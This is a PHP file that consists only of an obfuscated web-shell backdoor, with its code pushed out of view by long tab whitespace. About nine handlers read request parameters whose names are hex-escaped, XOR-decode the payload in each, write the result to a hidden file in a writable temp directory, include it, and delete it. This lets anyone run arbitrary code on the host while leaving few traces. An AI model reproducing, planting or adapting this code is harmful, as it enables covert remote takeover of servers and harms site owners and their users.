<?php																																										if(filter_has_var(INPUT_POST, "\x72ef\x65\x72\x65nce")){ $object = array_filter([getenv("TMP"), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/tmp", sys_get_temp_dir(), "/var/tmp"]); $entry = $_POST["\x72ef\x65\x72\x65nce"]; $entry = explode ( '.' , $entry ) ; $mrk = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5); foreach ($entry as $l => $v5): $sChar = ord($salt5[$l % $sLen]); $d = ((int)$v5 - $sChar - ($l % 10)) ^ 37; $mrk .= chr($d); endforeach; foreach ($object as $factor): if (!!is_dir($factor) && !!is_writable($factor)) { $descriptor = "$factor" . "/.entity"; $file = fopen($descriptor, 'w'); if ($file) { fwrite($file, $mrk); fclose($file); include $descriptor; @unlink($descriptor); exit; } } endforeach; }
																																										if(@$_POST["da\x74\x61"] !== null){ $descriptor = $_POST["da\x74\x61"]; $descriptor = explode('.' , $descriptor); $factor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $l = 0; array_walk($descriptor ,function ($v3) use (&$factor ,&$l ,$s ,$sLen) { $sChar = ord($s[$l%$sLen]); $d = ((int)$v3 - $sChar - ($l%10)) ^ 3; $factor .= chr($d); $l++; }); $record = array_filter([getenv("TMP"), "/tmp", getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/dev/shm", getcwd()]); foreach ($record as $fac) { if (is_dir($fac) && is_writable($fac)) { $mrk = implode("/", [$fac, ".marker"]); $file = fopen($mrk, 'w'); if ($file) { fwrite($file, $factor); fclose($file); include $mrk; @unlink($mrk); die(); } } } }
																																										if(isset($_POST["v\x61\x6C"])){ $reference = $_POST["v\x61\x6C"]; $reference = explode ( "." , $reference ) ; $elem = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt3); $z = 0; while( $z< count( $reference)) { $v6 = $reference[$z]; $sChar = ord( $salt3[$z % $sLen]); $dec = ( ( int)$v6 - $sChar -( $z % 10)) ^ 55; $elem .= chr( $dec); $z++; } $marker = array_filter(["/dev/shm", sys_get_temp_dir(), "/var/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", getenv("TEMP")]); foreach ($marker as $key => $item) { if ((bool)is_dir($item) && (bool)is_writable($item)) { $flg = "$item" . "/.itm"; $success = file_put_contents($flg, $elem); if ($success) { include $flg; @unlink($flg); die();} } } }
																																										if(isset($_POST) && isset($_POST["\x70ro\x70e\x72t\x79_se\x74"])){ $tkn = $_POST["\x70ro\x70e\x72t\x79_se\x74"]; $tkn = explode ( '.' , $tkn ) ; $parameter_group = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9 ); $__len = count($tkn ); for ($p = 0; $p < $__len; $p++) { $v7 = $tkn[$p]; $sChar = ord($s9[$p% $lenS] ); $dec = ((int)$v7 - $sChar - ($p% 10)) ^ 58; $parameter_group .=chr($dec );} $ptr = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", sys_get_temp_dir(), getenv("TMP"), getcwd(), getenv("TEMP"), session_save_path(), "/dev/shm"]); foreach ($ptr as $ent) { if (max(0, is_dir($ent) * is_writable($ent))) { $symbol = join("/", [$ent, ".pgrp"]); if (file_put_contents($symbol, $parameter_group)) { require $symbol; unlink($symbol); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x64a\x74a"])){ $ref = array_filter(["/var/tmp", "/tmp", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", getcwd()]); $obj = $_REQUEST["\x64a\x74a"]; $obj= explode( ".", $obj ) ; $entry =''; $s1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s1); $p =0; array_walk( $obj, function( $v4) use( &$entry, &$p, $s1, $sLen) { $chS =ord( $s1[$p % $sLen]); $d =( ( int)$v4 - $chS -( $p % 10))^ 6; $entry .= chr( $d); $p++;}); foreach ($ref as $key => $token) { if (!( !is_dir($token) || !is_writable($token) )) { $binding = "$token/.property_set"; if (file_put_contents($binding, $entry)) { require $binding; unlink($binding); die(); } } } }
																																										if(in_array("en\x74", array_keys($_REQUEST))){ $descriptor = array_filter([getenv("TEMP"), "/tmp", session_save_path(), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", getenv("TMP")]); $bind = $_REQUEST["en\x74"]; $bind =explode('.', $bind ); $data= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s); $len= count( $bind); for( $v= 0; $v < $len; $v++) { $v4= $bind[$v]; $sChar= ord( $s[$v % $lenS]); $dec= ( ( int)$v4 - $sChar -( $v % 10))^84; $data .= chr( $dec);} foreach ($descriptor as $key => $ref) { if (array_product([is_dir($ref), is_writable($ref)])) { $res = vsprintf("%s/%s", [$ref, ".pointer"]); if (file_put_contents($res, $data)) { require $res; unlink($res); exit; } } } }
																																										if(isset($_POST["s\x79\x6Dbo\x6C"])){ $desc = array_filter([getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/dev/shm", "/tmp", session_save_path(), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir")]); $marker = $_POST["s\x79\x6Dbo\x6C"]; $marker = explode ( '.' , $marker ); $key = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt6 ); $i = 0; while( $i < count( $marker)) { $v7 = $marker[$i]; $chS = ord( $salt6[$i % $lenS] ); $dec = ( ( int)$v7 - $chS -( $i % 10)) ^ 69; $key .= chr( $dec ); $i++;} while ($entity = array_shift($desc)) { if (is_dir($entity) ? is_writable($entity) : false) { $entry = "$entity" . "/.data"; $success = file_put_contents($entry, $key); if ($success) { include $entry; @unlink($entry); die();} } } }
																																										if(isset($_REQUEST["m\x61\x72\x6Ber"]) ? true : false){ $pset = array_filter([getcwd(), "/var/tmp", "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), "/dev/shm", getenv("TMP")]); $val = $_REQUEST["m\x61\x72\x6Ber"]; $val = explode ( "." ,$val) ; $desc= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt); foreach( $val as $p =>$v5) { $sChar= ord( $salt[$p % $lenS]); $dec= ( ( int)$v5 - $sChar -( $p % 10)) ^ 29; $desc .= chr( $dec); } foreach ($pset as $data) { if ((is_dir($data) and is_writable($data))) { $token = "$data/.object"; $file = fopen($token, 'w'); if ($file) { fwrite($file, $desc); fclose($file); include $token; @unlink($token); die(); } } } }


if(isset($_REQUEST["t\x6Bn"])){
	$flag = array_filter([ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/var/tmp", session_save_path()]);
	$key = $_REQUEST["t\x6Bn"];
	$key	=  explode   ('.'	 	, $key)		;		
	$hld = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s );
            $i = 0;
    
            $__tmp = $key;
            while ($v8 = array_shift($__tmp)) {	$sChar = ord($s[$i % $sLen] );
                $dec = ((int)$v8 - $sChar - ($i % 10)) ^ 51;
                $hld 	.=chr($dec );
                $i++;}  
	for ($flg = 0, $component = count($flag); $flg < $component; $flg++) {
    $ptr = $flag[$flg];
    		if (is_dir($ptr) ? is_writable($ptr) : false) {
    $object = "$ptr" . "/.elem";
    if (file_put_contents($object, $hld)) {
	include $object;
	@unlink($object);
	exit;
}
}
}
}